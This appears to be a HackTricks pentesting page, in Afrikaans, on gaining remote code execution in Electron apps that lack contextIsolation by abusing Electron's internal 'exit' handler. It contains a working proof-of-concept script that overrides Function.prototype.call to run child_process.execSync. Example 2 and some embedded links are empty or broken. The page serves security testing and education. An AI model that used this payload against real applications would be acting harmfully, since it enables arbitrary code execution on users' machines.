hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

4.4 KiB

Electron contextIsolation RCE via Electron interne kode

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Voorbeeld 1

Voorbeeld van https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" gebeurtenisluister word altyd deur die interne kode ingestel wanneer die bladsy se laai begin. Hierdie gebeurtenis word uitgestraal net voor navigasie:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

{% embed url="664c184fcb/lib/common/asar.js (L30-L36)" %}

8a44289089/bin/events.js (L156-L231) -- Bestaan nie meer nie

Dan gaan dit hierheen:

Waar "self" Node se prosesobjek is:

Die prosesobjek het 'n verwysing na die "require" funksie:

process.mainModule.require

Aangesien die handler.call die process objek gaan ontvang, kan ons dit oorskryf om willekeurige kode uit te voer:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

Voorbeeld 2

Kry vereis voorwerp vanaf prototipe besoedeling. Vanaf https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Lek:

Exploiteer:

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!